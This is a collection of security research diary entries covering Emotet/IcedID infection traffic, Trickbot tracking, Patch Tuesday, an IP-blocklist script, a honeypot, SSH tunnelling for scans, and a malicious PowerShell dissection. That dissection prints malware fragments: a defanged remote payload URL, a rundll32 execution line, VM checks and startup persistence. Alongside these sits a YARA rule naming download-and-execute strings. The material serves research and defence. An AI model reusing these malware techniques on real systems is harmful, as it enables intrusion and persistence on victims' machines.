  • File description: updated Emotet malware binary on the infected Windows host

SHA256 hash: cb04718694115b94b4d8bde2be0a4daf802c7a4c94f9b81811872e4e7126e813

  • File size: 424,960 bytes
  • File location: C:\ProgramData\OFyKiE6aak4yfFf.exe
  • File description: IcedID banking Trojan retrieved by Emotet

SHA256 hash: 63e348c05cd94f4488f7f1707ba901ddfa8ec04b4626a46ae2d9d0a83ae291ae

  • File size: 424,960 bytes
  • File location: C:\ProgramData\{3B5AAD3D-DD3D-452D-B98C-9F29F9D9C0D3}\czvgbwww.exe
  • File description: IcedID banking Trojan persistent on the infected Windows host

Traffic from my infected Windows host:

Traffic that returned the initial Word document:

  • port 80 - bysound.com.tr - GET /En_us/Documents/11_18/

Traffic that returned the Emotet malware binary:

  • port 80 - c-t.com.au - GET /PspAMbuSd2
  • port 80 - c-t.com.au - GET /PspAMbuSd2/

Post-infection traffic caused by Emotet:

  • port 8080 - Attempted TCP connections, no response from the server
  • port 7080 - Attempted TCP connections, no response from the server
  • port 8080 - Attempted TCP connections, no response from the server
  • port 8080 - - GET /
  • port 80 - Attempted TCP connections, no response from the server
  • port 443 - - GET /
  • port 7080 - - GET /
  • port 8080 - Attempted TCP connections, no response from the server
  • port 80 - - GET /
  • port 443 - - GET /
  • port 443 - - GET /whoami.php
  • port 50000 - - GET /
  • port 8443 - - GET /
  • port 80 - Attempted TCP connections, no response from the server
  • port 8080 - - GET /
  • port 8080 - - GET /
  • port 443 - - GET /
  • port 8080 - Attempted TCP connections, no response from the server
  • port 443 - Attempted TCP connections, no response from the server
  • port 990 - - GET /
  • port 8080 - Attempted TCP connections, no response from the server
  • port 8080 - - GET /
  • port 443 - Attempted TCP connections, no response from the server
  • port 990 - - GET /
  • port 443 - - GET /
  • port 80 - Attempted TCP connections, no response from the server
  • port 8080 - - GET /
  • port 443 - Attempted TCP connections, no response from the server
  • port 990 - - GET /
  • port 7080 - Attempted TCP connections, no response from the server
  • port 443 - Attempted TCP connections, no response from the server
  • port 80 - - GET /
  • port 80 - - GET /
  • port 8080 - - GET /
  • port 8080 - Attempted TCP connections, no response from the server

Post-infection traffic caused by the IcedID banking Trojan:

  • port 443 - therebes.biz - SSL/TLS traffic caused by IcedID
  • port 80 - freshwallet.at - GET /data2.php?0123456789ABCDEF (different hex characters depending on the infected host)

Final words

Both Emotet and IcedID have remained fairly consistent in their behavioral patterns, so nothing here is unusual.  This diary is yet another reminder the criminals behind Emotet remain active, and they continue to push follow-up malware like the IcedID banking Trojan.

A pcap of the infection traffic and the associated malware from today's diary can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2018-11-14

Day in the life of a researcher: Finding a wave of Trickbot malspam


Mass-distribution campaigns pushing commonly-seen malware are not often considered newsworthy.  But these campaigns occur on a near-daily basis, and I feel they should be documented as frequently as possible.  Frequent documentation ensures we have publicly-available records that reveal how these campaigns evolve.  Minor changes add up over time.

Today's diary illustrates a small part of my workday, as I review information and track down a campaign using malicious spam (malspam) to distribute Trickbot malware.

Reporting methods

A growing number of people are using social media tools like Twitter to share information about malware and malicious network activity.  Twitter offers a near-real-time way to push information to a large amount of people.  Security professionals and enthusiasts can easily find, share, and act on this information.

Keep in mind this sort of public sharing should never include sensitive data.  You should never reveal your organization's internal network or divulge any classified or confidential documents.  Criminals are likely monitoring public-facing services like VirusTotal and other malware scanning sites, because they "are becoming containers for personal, business and even classified information..."

Some security professionals use private communication methods with a restricted audience, but those methods don't often apply to the vast majority of people working in information security.  When possible, I prefer to share malware information publicly.

Gathering information

Like many researchers, I use a combination of public and non-public resources when investigating malware.  One great public resource is URLhaus.  URLhaus is a project operated by abuse.ch that helps security researchers, vendors and law enforcement agencies make the Internet a safer place.

On Tuesday 2018-11-13, I was browsing through URLhaus and found two URLs tagged as Trickbot.  I've researched a great deal of Trickbot activity, so I knew these URLs could be traced to malspam with an attached Microsoft Office document using macros to download and install Trickbot.

Shown above:  Two URLs tagged as Trickbot according to URLhaus.

I checked my employer's tools, where I found at least 20 examples of malspam using attached Word documents with macros to generate these URLs.  The malspam was very recent, and no samples of the attached Word documents had yet been submitted to VirusTotal.  I could find information and file hashes from my employer's tools, but I could not acquire a Word doc to generate any infection traffic.

However, those two URLs from the URLhaus list were still active, so I used one to retrieve a Trickbot binary.  I then used that binary to infect a Windows host in my lab which generated the expected infection traffic.  Post-infection activity revealed the campaign ID as sat101.  These campaign IDs are tagged as <gtag> in configuration files on infected Windows hosts, and they can be used to determine distribution characteristics of the campaign.  For example, Trickbot using campaign IDs starting with "sat" are used in malspam targeting recipients in the United States.

Shown above:  Tuesday's Trickbot infection traffic filtered in Wireshark.

Quick reporting

With enough information to describe Tuesday's Trickbot campaign in the US, I wanted to quickly report it.  But compiling a blog post would take at least two hours.  Twitter was my speediest alternative.  I dumped the data to a Pastebin page, created some images, and tweeted the results.

Shown above:  The tweet I sent.

Final words

This diary shows a small part of my workday, and it reveals how I found a recent wave of Trickbot malspam.  As of 20:24 UTC on Tuesday 2018-11-13, none of the associated Word documents were available on VirusTotal.  But a sample of the Trickbot binary had been submitted to hybrid-analysis.com.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2018-11-13

November 2018 Microsoft Patch Tuesday

This month, Microsoft patches two issues that have already been disclosed publically. One is related to BitLocker trusting SSDs with faulty encryption. If an SSD offers its own hardware-based encryption, BitLocker will not add its own software encryption on top of it, to save CPU cycles. But last month, it became known that SSD hardware encryption is often implemented badly and can easily be bypassed. As a result, Microsoft releases a patch and also an advisory with details regarding Bitlocker's behavior and how to override it.

The second publicly disclosed vulnerability is the ALPC elevation of privilege issue that was disclosed by SandboxEscaper via Twitter. ScandboxEscaper disclosed a very similar issue a couple months ago. Microsoft patched the issue, but apparently not completely. 

Finally, these updates address a Win32k elevation of privilege vulnerability (cve:2018-8589) which has been exploited in the wild.

For a more detailed breakdown, see Renato's dashboard: 

CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Core Tampering Vulnerability
%%cve:2018-8416%% No No Less Likely Less Likely Moderate    
Active Directory Federation Services XSS Vulnerability
%%cve:2018-8547%% No No Less Likely Less Likely Important 6.5 5.9
Azure App Service Cross-site Scripting Vulnerability
%%cve:2018-8600%% No No - - Important    
BitLocker Security Feature Bypass Vulnerability
%%cve:2018-8566%% Yes No Less Likely Less Likely Important 4.6 4.6
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2018-8588%% No No - - Critical 4.2 3.8
%%cve:2018-8541%% No No - - Critical 4.2 3.8
%%cve:2018-8542%% No No - - Critical 4.2 3.8
%%cve:2018-8543%% No No - - Critical 4.2 3.8
%%cve:2018-8551%% No No - - Critical 4.2 3.8
%%cve:2018-8555%% No No - - Critical 4.2 3.8
%%cve:2018-8556%% No No - - Critical 4.2 3.8
%%cve:2018-8557%% No No - - Critical 4.2 3.8
DirectX Elevation of Privilege Vulnerability
%%cve:2018-8485%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2018-8554%% No No More Likely More Likely Important 7.0 6.3
%%cve:2018-8561%% No No Less Likely Less Likely Important 7.0 6.3
DirectX Information Disclosure Vulnerability
%%cve:2018-8563%% No No - - Important 4.7 4.2
Guidance for configuring BitLocker to enforce software encryption
ADV180028 Yes No - -      
Internet Explorer Memory Corruption Vulnerability
%%cve:2018-8570%% No No - - Important 6.4 5.8
Latest Servicing Stack Updates
ADV990001 No No - -      
MSRPC Information Disclosure Vulnerability
%%cve:2018-8407%% No No Less Likely Less Likely Important 3.3 3.3
Microsoft Dynamics 365 (on-premises) version 8 Cross Site Scripting Vulnerability
%%cve:2018-8605%% No No - - Important    
%%cve:2018-8606%% No No - - Important    
%%cve:2018-8607%% No No - - Important    
%%cve:2018-8608%% No No - - Important    
Microsoft Dynamics 365 (on-premises) version 8 Remote Code Execution Vulnerability
%%cve:2018-8609%% No No - - Critical    
Microsoft Edge Elevation of Privilege Vulnerability
%%cve:2018-8567%% No No - - Important 5.4 4.9
Microsoft Edge Information Disclosure Vulnerability
%%cve:2018-8545%% No No - - Important 4.3 3.9
Microsoft Edge Spoofing Vulnerability
%%cve:2018-8564%% No No - - Important 4.3 3.9
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2018-8574%% No No More Likely More Likely Important    
%%cve:2018-8577%% No No More Likely More Likely Important    
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2018-8581%% No No Less Likely Less Likely Important    
Microsoft Graphics Components Remote Code Execution Vulnerability
%%cve:2018-8553%% No No - - Critical 7.4 6.7
Microsoft JScript Security Feature Bypass Vulnerability
%%cve:2018-8417%% No No More Likely More Likely Important 4.5 4.5
Microsoft Outlook Information Disclosure Vulnerability
%%cve:2018-8558%% No No Less Likely Less Likely Important    
%%cve:2018-8579%% No No Less Likely Less Likely Important    
Microsoft Outlook Remote Code Execution Vulnerability
%%cve:2018-8522%% No No More Likely More Likely Important    
%%cve:2018-8576%% No No More Likely More Likely Important    
%%cve:2018-8524%% No No Less Likely Less Likely Important    
%%cve:2018-8582%% No No More Likely More Likely Important    
Microsoft PowerShell Remote Code Execution Vulnerability
%%cve:2018-8256%% No No Less Likely Less Likely Important 6.3 6.3
Microsoft PowerShell Tampering Vulnerability
%%cve:2018-8415%% No No Less Likely Less Likely Important 3.3 3.3
Microsoft Project Remote Code Execution Vulnerability
%%cve:2018-8575%% No No Less Likely Less Likely Important    
Microsoft RemoteFX Virtual GPU miniport driver Elevation of Privilege Vulnerability
%%cve:2018-8471%% No No Less Likely Less Likely Important 7.0 7.0
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2018-8572%% No No Less Likely Less Likely Important    
%%cve:2018-8568%% No No Less Likely Less Likely Important    
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2018-8578%% No No - - Important    
Microsoft Skype for Business Denial of Service Vulnerability
%%cve:2018-8546%% No No Unlikely Unlikely Low    
Microsoft Word Remote Code Execution Vulnerability
%%cve:2018-8539%% No No - - Important    
%%cve:2018-8573%% No No More Likely More Likely Important    
November 2018 Adobe Flash Security Update
ADV180025 No No - - Important    
Team Foundation Server Cross-site Scripting Vulnerability
%%cve:2018-8602%% No No - - Important    
Win32k Elevation of Privilege Vulnerability
%%cve:2018-8562%% No No More Likely More Likely Important 7.0 6.3
Win32k Information Disclosure Vulnerability
%%cve:2018-8565%% No No - - Important 4.7 4.2
Windows ALPC Elevation of Privilege Vulnerability
%%cve:2018-8584%% Yes No More Likely More Likely Important 7.8 7.5
Windows Audio Service Information Disclosure Vulnerability
%%cve:2018-8454%% No No Less Likely Less Likely Important 2.5 2.5
Windows COM Elevation of Privilege Vulnerability
%%cve:2018-8550%% No No Less Likely Less Likely Important 7.0 6.3
Windows Deployment Services TFTP Server Remote Code Execution Vulnerability
%%cve:2018-8476%% No No More Likely More Likely Critical 8.1 8.1
Windows Elevation Of Privilege Vulnerability
%%cve:2018-8592%% No No Less Likely Less Likely Important 6.4 6.1
Windows Kernel Information Disclosure Vulnerability
%%cve:2018-8408%% No No More Likely More Likely Important 3.3 3.3
Windows Scripting Engine Memory Corruption Vulnerability
%%cve:2018-8552%% No No More Likely More Likely Important 2.4 2.2
Windows Search Remote Code Execution Vulnerability
%%cve:2018-8450%% No No More Likely More Likely Important 7.5 6.7
Windows Security Feature Bypass Vulnerability
%%cve:2018-8549%% No No Less Likely Less Likely Important 5.5 5.0
Windows VBScript Engine Remote Code Execution Vulnerability
%%cve:2018-8544%% No No More Likely More Likely Critical 6.4 5.8
Windows Win32k Elevation of Privilege Vulnerability
%%cve:2018-8589%% No Yes Detected More Likely Important 7.8 7.5

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2018-11-12

Using the Neutrino ip-blocklist API to test general badness of an IP

There are a number of IP Reputation services available for public consumption.  A personal favorite was the Packetmail IP Rep service which unexpectedly shut down in September.  Looking for an IP reputation API to replace Packetmail in some of my scripts lead me to Neutrino and their many APIs which can be used to query many facets of an IP.  While their host-reputation API provides an adequate replacement for Packetmail, what got my attention was another Neutrino API, ip-blocklist, which, in my opinion, can be used as a wet finger estimate of potential badness of any IP.  

Once you have signed up for a Neutrino user-id and API Key, you can access the APIs through a web interface or programmatically via the APIs.  The free API account is limited by the number of queries per day, but provides enough capability for the casual user who just wants to check out an IP.  

According to the ip-blocklist API documentation:

"IP blocklist will detect the following categories of IP addresses:

  • Malware and spyware
  • Criminal netblocks
  • Tor nodes
  • Proxies and VPNs
  • Spiders
  • Bots and botnets
  • Spammers
  • Exploit scanners"

The people at Neutrino do the aggregation of the various blocklists (including DShield) and provide you an easy way of measuring the general badness of an IP.  So the next time you see an IP scanning your webserver you can run it through the Neutrino ip-blocklist API and get an idea of how nasty others think it is.

I threw together a quick python script (included below) to use the Neutrino ip-blocklist API. When the script is run for an IP on Daniel Austin's Tor Node list the resulting output is:

$python ipblocklist.py

Neutrino Blocklist Service

On Blocklist:  True
Number of Blocklists:  1
Last Seen:  2018-11-12 17:27:10
Proxy:  False
Tor:  True
VPN:  False
Malware:  False
Spyware:  False
Dshield:  False
Hijacked:  False
Spider:  False
Bot:  False
SpamBot:  False
ExploitBot:  False
List of Blocklists:

When run for an IP on the DShield Blocklist the resulting output is:

$python ipblocklist.py

Neutrino Blocklist Service

On Blocklist:  True
Number of Blocklists:  1
Last Seen:  2018-11-11 17:25:16
Proxy:  False
Tor:  False
VPN:  False
Malware:  False
Spyware:  False
Dshield:  True
Hijacked:  False
Spider:  False
Bot:  False
SpamBot:  False
ExploitBot:  False
List of Blocklists:

Sorry, I was unable to find any nastier IPs to show the results, but I think you can see the potential.

---------------------- ipblocklist.py script -------------------------------------

#!/usr/bin/env python
import sys, getopt, argparse, requests, json
import urllib, urllib2
import time

def ipblocklist_host(ip):

   NEUTRINO_URL = 'https://neutrinoapi.com/ip-blocklist'

      'user-id': NEUTRINO_USERID,
      'api_key': NEUTRINO_API_KEY,
      'ip': ip

   req = urllib2.Request(NEUTRINO_URL, urllib.urlencode(NEUTRINO_PARAMS))
   response = urllib2.urlopen(req)
   result = json.loads(response.read())

   print "\n\nNeutrino Blocklist Service\n"
   print "IP: ", result['ip']
   print "On Blocklist: ", result['is-listed']
   print "Number of Blocklists: ", result['list-count']
   print "Last Seen: ", time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime(result['last-seen']))
   print "Proxy: ", result['is-proxy']
   print "Tor: ", result['is-tor']
   print "VPN: ", result['is-vpn']
   print "Malware: ", result['is-malware']
   print "Spyware: ", result['is-spyware']
   print "Dshield: ", result['is-dshield']
   print "Hijacked: ", result['is-hijacked']
   print "Spider: ", result['is-spider']
   print "Bot: ", result['is-bot']
   print "SpamBot: ", result['is-spam-bot']
   print "ExploitBot: ", result['is-exploit-bot']
   if result['list-count'] > 0:
      print "List of Blocklists: \n", result['blocklists']


def main():

   parser = argparse.ArgumentParser()
   parser.add_argument('IP', help="IP address")


main()   # invoke main

P.S. I only use Python for quick and dirty tools for personal use. I am sure this script could be written a whole lot better by someone with actual skill in Python. (-;

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)


Published: 2018-11-11

Community contribution: joining forces or multiply solutions?

Today’s diary will be less technical than usual, and more “philosophical” let’s say (because, why not, we need those too :)) Last week I shared a thought on twitter, saying that sometimes I wish in our community we would stop “reinventing the wheel” by developing yet another FOSS tool that solves the same problem, instead of joining forces and build fewer but better and longer term solutions. This generated few interesting conversations both online and offline.

Please keep in mind that, for me, there is no right and wrong side on this, I think both have valid arguments, but nevertheless I felt I would like to hear more you about this, since it’s a topic that I hear in more and more often into, and of course the “dream” of one day seeing this happen. There are several ways to contribute in our community:

  1. Write a full fledged tool/framework that solves one or more problems (e.g. Metasploit [1], plaso [2], MISP [3], Viper [4], TheHive [5], YETI [6], Volatility [7], etc.). This is something you definitely need be capable of to do, and not everybody is able to (I’m certainly one of those who is not).
  2. Write scripts / smaller solutions that solve one specific problem (yours or someone else’s). These is extremely useful because you solved a specific problem, and even if this is yet another command someone may need to run, maybe someone else will pick it up and integrate that functionality into a bigger framework.
  3. Use and test tools written by other, and report bugs as thoroughly documented as possible. Now, this and the next point are largely underestimated. Submitting bugs to the author(s) of a tool is super useful and super important for the continuous improvement of such tool. Also, the author(s) could never run into all possible use cases, therefore some bugs will show up and be fixed only if you all report them. Please, do it!
  4. So many ways to contribute without the need to know/wanting to code, some examples:
    • Write/update documentations for tools you use.There is an extreme lack of (updated) documentation, and I cannot stress enough how important such contribution would be. Tools author(s) are often (and understandably so) very busy keeping up fixing bug and implementing new features, and documentation is not the obvious priority. So one way to give back would be by doing so. And we all would be extremely thankful to you.
    • Contribute to projects where there is actually no code to write, but rather collect, centralize and organize information such as ForensicArtifacts [8] or mac4n6 Artifacts Project [9][10] (shameless plug, I know, but I think it’s a good use case for this). All you need to do for the two above examples is to share artifacts location you have found across your investigations.
    • Etc.
  5. You name it… so many ways (no more excuses not to contribute).

The focus of my original thought is mostly on the first of the above points. There are not too many people (compared to the overall size of the community) able to code at such level, and sometimes seeing the fragmentation of big good projects which overlap 80-90% in functionalities makes me wonder of the potential those developers could reach if joining forces on the same project.

I totally agree, it’s not easy, and motivations to do so are as valid on both sides. The most common initial reason I hear is “well, none of the tools out there covered all my needs, so I (we) decided to write it from scratch.”. Fair point. However, is it really worthy to do so instead of bringing in those 10-20% new features you need into the existing project?

Some people feel like writing it in a different language would boost performance and longer term maintenance/development, or simply are good at a different language, and this would go against the author(s) of the original tool. Some other want to have the control of the long term development, and you definitely have if you own the tool. Still others advocate for more diversity, I definitely do agree that diversity (as always and in every context) is good. Having multiple solutions which can help you double check your findings is great (never blindly trust one source only). But is too much diversity in tooling still good?

As I wrote on twitter, this is a dream, I’m aware of it. But whether you are one of those gifted who can Code or not, I would love to hear your opinion.

One final message: clearly, you do not need to know how to code to contribute to FOSS projects. Pick one and start contributing today!

Happy Hunting,

[1] - Metasploit, https://github.com/rapid7/metasploit-framework
[2] - plaso, https://github.com/log2timeline/plaso
[3] - MISP, https://github.com/MISP/MISP
[4] - Viper, https://github.com/viper-framework/viper
[5] - TheHive, https://github.com/TheHive-Project/TheHive
[6] - YETI, https://github.com/yeti-platform/yeti
[7] - Volatility, https://github.com/volatilityfoundation/volatility
[8] - ForensicArtifacts, https://github.com/ForensicArtifacts/artifacts
[9] - mac4n6 Artifacts Project, https://github.com/pstirparo/mac4n6
[10] - mac4n6 Artifacts Project, https://docs.google.com/spreadsheets/d/1X2Hu0NE2ptdRj023OVWIGp5dqZOw-CfxHLOW_GNGpX8/edit#gid=1317205466


Pasquale Stirparo, @pstirparo


Published: 2018-11-10

Video: CyberChef: BASE64/XOR Recipe

I made a video for my diary entry "CyberChef: BASE64/XOR Recipe":


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2018-11-09

Playing with T-POT

I was looking for a honeypot install that had great reporting and was easy to deploy. I ran across T-Pot honeypot (https://github.com/dtag-dev-sec/tpotce).  It runs on Ubuntu 16.04 and docker. They have an auto install script that sets everything up very nicely. If this is your first time using docker or the Elastic stack, this is a great way to get started with it.


They have setup dockers for conpot, cowrie, dionaea, elasticpot, emobility, glastopf, honeytrap, mailoney, rdpy and vnclowpot. All this is tied together with elastic and Suricata. It's a very slick architecture in a very small package.



Follow the auto install information for the github site.



Once installed SSH is on port 64295 and the web dashboard is on port 64297.

The default dashboard does a really great job of breaking down what's going on quickly. Here you can see that Cowrie, the SSH honeypot, is getting the most hits.  While the number of unique IP’s seems consistent, the number of events is dynamic.



98 percent of IP’s that scanned my system were already known attackers or a had a bad reputation.


Having Suricata also analyzing the traffic is a nice touch because you get a more indepth look at what type of attacks are hitting your systems and allows for better searching if you are looking for specific attacks.




If you want to see specific breakdown by each honeypot, click on the dashboard with more specific information .




I can't say enough how easy to deploy this project is.  Give it a shot and you want be disappointed. My next post about T-pot will cover how to set it up to report to Dshield!  Let me know what ya think of it.



Tom Webb @twsecblog


Published: 2018-11-07

Tunneling scanners (or really anything) over SSH

I am sure that many penetration testers among our readers try to minimize their travel. While many years ago we had to be physically present for internal penetration tests, today it is very common that client organizations setup virtual machines for penetration testers, which are then used to perform internal penetration tests.
In most cases this will boil down to two VMs: one with Kali Linux and the other one with your favorite scanner. However, it is also quite common that only one VM is provided and that one is used to tunnel traffic through (or pivot through it).

I was recently performing an internal penetration test where the only VM I had was a Kali Linux VM, with SSH to it.
Depending on the target environment, one can manually perform a penetration test, but since I was dealing with a larger number of machines in the scope, I wanted to run a vulnerability scanner. However, the only VM I had was the Kali Linux VM and an SSH connection.

Tunneling network traffic through the VM seems like an obvious choice, however this not all that trivial since the scanner generally needs raw access to sockets. So this diary describes one solution I came up with – let us know if you have another solution for this problem.

The diagram below shows our target devices. We will want to establish an SSH connection from the vulnerability scanner server to the Kali Linux VM, and use that connection to scan the target network.

Target network

SSH has extremely powerful tunneling capabilities (actually, so powerful that it is a bit scary). We will use SSH’s Tunnel option to tunnel traffic between two TUN TAP interfaces. These are virtual devices that behave as real interfaces so our scanner will not know the difference.

First we need to create such devices on both sides with the following command:

# tunctl -t tap0

Now we can assign an IP address to this interface. On the scanner server:

# ifconfig tap0 netmask

And on the Kali Linux VM:

# ifconfig tap0 netmask

We will link those devices with an SSH tunnel. Now, in order to do that we need to be root on both sides so I created an SSH key that I copied on the Kali Linux VM:

# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:IhndAn301XGp4TkWgS1s/QyEJdmo4fh6vhR/nmmLElw root@server.local
The key's randomart image is:
+---[RSA 2048]----+
|    .. .. ..%=o.o|
|     o...o X.B.o |
|    . o.+ = o O  |
|     o o o E * o |
|    o . S.. . .  |
|     . . +o      |
|        .... .   |
|       ..o  +.o  |
|        ooo..=.  |

This allows us to login without specifying a password. Additionally, the target SSH server must allow tunneling – this can be done by adding the following line into /etc/ssh/sshd_config on the Kali Linux VM:


And we are now ready – we can simply login from the scanner server to the Kali Linux VM with the following ssh command:

# ssh -o Tunnel=ethernet -f -w 0:0 root@kali.linux true

This will establish a tunnel and execute the “true” command (which does nothing), and send the process into background.
The tunnel should be up now, we can check that with the ethtool command:

# ethtool tap0
Settings for tap0:
        Supported ports: [ ]
        Supported link modes:   Not reported
        Supported pause frame use: No
        Supports auto-negotiation: No
        Advertised link modes:  Not reported
        Advertised pause frame use: No
        Advertised auto-negotiation: No
        Speed: 10Mb/s
        Duplex: Full
        Port: Twisted Pair
        PHYAD: 0
        Transceiver: internal
        Auto-negotiation: off
        MDI-X: Unknown
        Current message level: 0xffffffa1 (-95)
                               drv ifup tx_err tx_queued intr tx_done rx_status pktdata hw wol 0xffff8000
        Link detected: yes

Nice, our link is up. We can confirm that by pinging the remote tap0 interface:

# ping -c 3
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=0.028 ms
64 bytes from icmp_seq=2 ttl=64 time=0.033 ms
64 bytes from icmp_seq=3 ttl=64 time=0.031 ms

--- ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.028/0.030/0.033/0.006 ms

We’re not done yet though. We need to now configure our scanner server to send data for the target network ( above) through that tunnel. While there are more and less complex ways to do that, I opted to simply enable forwarding on the Kali Linux server with NAT (masquerading) and setup a route to the target network.

On the Kali Linux VM:

# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# iptables -t nat -A POSTROUTING -o tap0 -j MASQUERADE
# iptables -A INPUT -i eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# iptables -A INPUT -i tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# iptables -A FORWARD -j ACCEPT

On the scanner server:

# ip route add via

And we’re done – let’s test it by scanning a server in the target network:

# nmap -sT -Pn

Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-05 21:48 CET
Nmap scan report for
Host is up (0.022s latency).
Not shown: 988 closed ports
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
389/tcp  open  ldap
443/tcp  open  https
464/tcp  open  kpasswd5
636/tcp  open  ldapssl
749/tcp  open  kerberos-adm
8080/tcp open  http-proxy
8089/tcp open  unknown
8443/tcp open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 2.26 seconds

There we go – our tunnel is up and happily moving data between our networks. No more battling with proxychains! We can now simply start a scan as we would normally do and SSH will do the job for us.
Before ending this diary, let me mention another interesting tool: sshuttle (https://github.com/sshuttle/sshuttle). In many cases you can use this tool as well, its benefit is that it does not require root privilege on the target server. I had some issues running a scanner with sshuttle so YMMV.

-- Bojan


Published: 2018-11-06

Malicious Powershell Script Dissection

Here is another example of malicious Powershell script found while hunting. Such scripts remain a common attack vector and many of them can be easily detected just by looking for some specific strings. Here is an example of YARA rule that I'm using to hunt for malicious Powershell scripts:

rule PowerShellSuspiciousStrings
        $ps1 = "powershell" nocase wide ascii
        $ps2 = "IEX" nocase wide ascii
        $ps3 = "new-object" nocase wide ascii
        $ps4 = "webclient" nocase wide ascii
        $ps5 = "downloadstring" nocase wide ascii
        $ps6 = "Hidden" nocase wide ascii
        $ps7 = "invoke" nocase wide ascii
        $ps8 = "Get-Random -input" nocase wide ascii
        $ps9 = "bypass" nocase wide ascii
        $ps10 = "shellcode" nocase wide ascii
        $ps11 = "Enter-PSSession" nocase wide ascii
        $ps12 = "-NoP" nocase wide ascii
        $ps13 = "-Enc" nocase wide ascii
        $ps14 = "-NonI" nocase wide ascii
        $ps15 = "downloadfile" nocase wide ascii
        $ps16 = "Invoke-Expression" nocase wide ascii
        $ps17 = "Start-Process" nocase wide ascii
        $ps18 = "ShellExecute" nocase wide ascii
        $ps19 = "[System.Convert]::" nocase wide ascii
        $ps20 = "FromBase64String(" nocase wide ascii
        $ps21 = "New-Object System.IO." nocase wide ascii
        $ps22 = "[System.Net." nocase wide ascii
        $ps23 = "System.Reflection.AssemblyName" nocase wide ascii
        $ps24 = "cG93ZXJzaGVsbC" nocase wide ascii
        $ps25 = "UG93ZXJTaGVsbC" nocase wide ascii
        4 of them and file_type contains "text" and new_file and positives > 0 and positives < 15

Most of them will be heavily obfuscated to make them unreadable and undetectable by security tools. The one that I found was not obfuscated to make it unreadable for the human but was strong enough to defeat most of the antivirus engines. The current VT score remains only 3/57[1] (SHA256: 01fd7fdb435d60544d95f420f7813e6a30b6fa64bf4f1522053144a02f961e39). The obfuscation was based on two techniques:

The usage of unreadable variable names like the snippet of code below:

1: ${/\____/===\/=\___} = New-Object System.Uri $ExecutionContext.InvokeCommand.ExpandString(${_/==\_/==\_/\__/==})
2: ${__/\/\/\/=\__/=\_} = [System.Net.HttpWebRequest]::Create(${/\____/===\/=\___}) 
3: ${__/\/\/\/=\__/=\_}.set_Timeout(15000) 
4: ${/===\___/\/===\__} = ${__/\/\/\/=\__/=\_}.GetResponse() 

It's easy to just perform search/replace operations on the file to replace variable names with more friendly ones.

The second technique used was to Base64 encode all the strings like:

1: ${_/\__/\/=\/\__/\/} = ${_/\__/\/=\/\__/\/} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA='))) 

You can see that the Base64 encoded string is a Unicode string. It easy to decode it and replace it by using a Cyberchef recipe. Being a lazy guy (who’s not?), I like to automate stuff. The recipe is easy:

Once decoded, what does the script do? (Note: all the code has been beautified)

First, it creates a Mutex:

function createNexMutex {
  try {
    $newMutex = New-Object System.Threading.Mutex($false, '444444444444')
    return $newMutex.WaitOne()  

It checks if running in a sandbox/virtualized environment:

function isRunningInAVM {
  $hardwareModel = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if ($hardwareModel -eq 'VirtualBox' -or
      $hardwareModel -eq 'VMware Virtual Platform' -or
      $hardwareModel -eq 'Virtual Machine' -or
      $hardwareModel -eq 'HVM domU') {
    return "Y"
  else { 
    return "N"

It tries to fetch a file from an Amazon S3 bucket: hxxps://s3-eu-west-1[.]amazonaws[.]com/killino2/image2.png. This file is a ZIP archive that contains two files:

$ unzip -t image2.png
Archive:  image2.png
    testing: _.dll                    OK
    testing: _.prx                    OK
No errors detected in compressed data of image2.png.

Files are extracted and moved to %APPDATA% with random filenames.

The DLL is executed by calling the exported function ‘MaxNotify’:

cd $env:APPDATA ; saps rundll32.exe $env:APPDATA\$randomFilename, $maxNotify;

Note that ’saps’ is an alias for Start-Process. Powershell provides a long list of aliases[2] that can also be used to obfuscate some code. 

Here is a list of DLL exports available:

default viper _.dll > pe exports
[*] Exports:
 - 0xba77dc: b'GetMaxToGridRect' (5)
 - 0xba7198: b'MaxNotify' (10)
 - 0xba77c8: b'MaxNotifyAppHWND' (9)
 - 0xba77d4: b'NVUnHook' (7)
 - 0xba77d8: b'NvSmartMaxShutdown' (6)
 - 0xba77d0: b'NvSmartMax_OnSetWorkArea' (8)
 - 0xba77e0: b'SmartMaxLookupLSdVPEzOLmluaz' (4)
 - 0x470364: b'TMethodImplementationIntercept' (3)
 - 0x411944: b'__dbk_fcall_wrapper' (2)
 - 0xbdd640: b'dbkFCallWrapperAddr' (1)

Finally, persistence is added by creating an LNK file stored in the Startup directory:

function setPersistence {
  try {  
    $newObject = New-Object -ComObject WScript.Shell 
    $newShortcut = $newObject.CreateShortcut($shortcutPath) 
    $newShortcut.TargetPath = 'powershell.exe' 
    $newShortcut.Arguments = $shortcutCmd
    $newShortcut.WorkingDirectory = '%SystemRoot%\System32' 
    $newShortcut.WindowStyle = 7   
